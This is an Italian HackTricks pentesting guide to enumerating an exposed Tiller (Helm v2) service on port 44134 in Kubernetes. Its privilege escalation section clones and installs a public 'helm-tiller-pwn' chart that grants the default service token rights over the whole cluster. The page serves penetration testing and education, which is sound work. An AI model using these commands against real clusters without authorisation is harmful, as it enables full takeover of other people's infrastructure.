hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

5.3 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informazioni di base

Helm è il gestore di pacchetti per Kubernetes. Permette di impacchettare file YAML e distribuirli in repository pubbliche e private. Questi pacchetti sono chiamati Helm Charts. Tiller è il servizio in esecuzione per impostazione predefinita sulla porta 44134 che offre il servizio.

Porta predefinita: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumerazione

Se puoi enumerare i pod e/o i servizi di diversi namespace, enumerali e cerca quelli con "tiller" nel loro nome:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Esempi:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Puoi anche provare a trovare questo servizio in esecuzione controllando la porta 44134:

sudo nmap -sS -p 44134 <IP>

Una volta che l'hai scoperto, puoi comunicare con esso scaricando l'applicazione client helm. Puoi usare strumenti come homebrew, o guardare la pagina ufficiale delle release. Per ulteriori dettagli, o per altre opzioni, consulta la guida all'installazione.

Poi, puoi enumerare il servizio:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

Per impostazione predefinita, Helm2 è stato installato nel namespace kube-system con elevati privilegi, quindi se trovi il servizio e hai accesso ad esso, questo potrebbe consentirti di escalare i privilegi.

Tutto ciò che devi fare è installare un pacchetto come questo: https://github.com/Ruil1n/helm-tiller-pwn che darà al token di servizio predefinito accesso a tutto nell'intero cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

In http://rui0.cn/archives/1573 hai la spiegazione dell'attacco, ma fondamentalmente, se leggi i file clusterrole.yaml e clusterrolebinding.yaml all'interno di helm-tiller-pwn/pwnchart/templates/ puoi vedere come tutti i privilegi vengono dati al token predefinito.

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}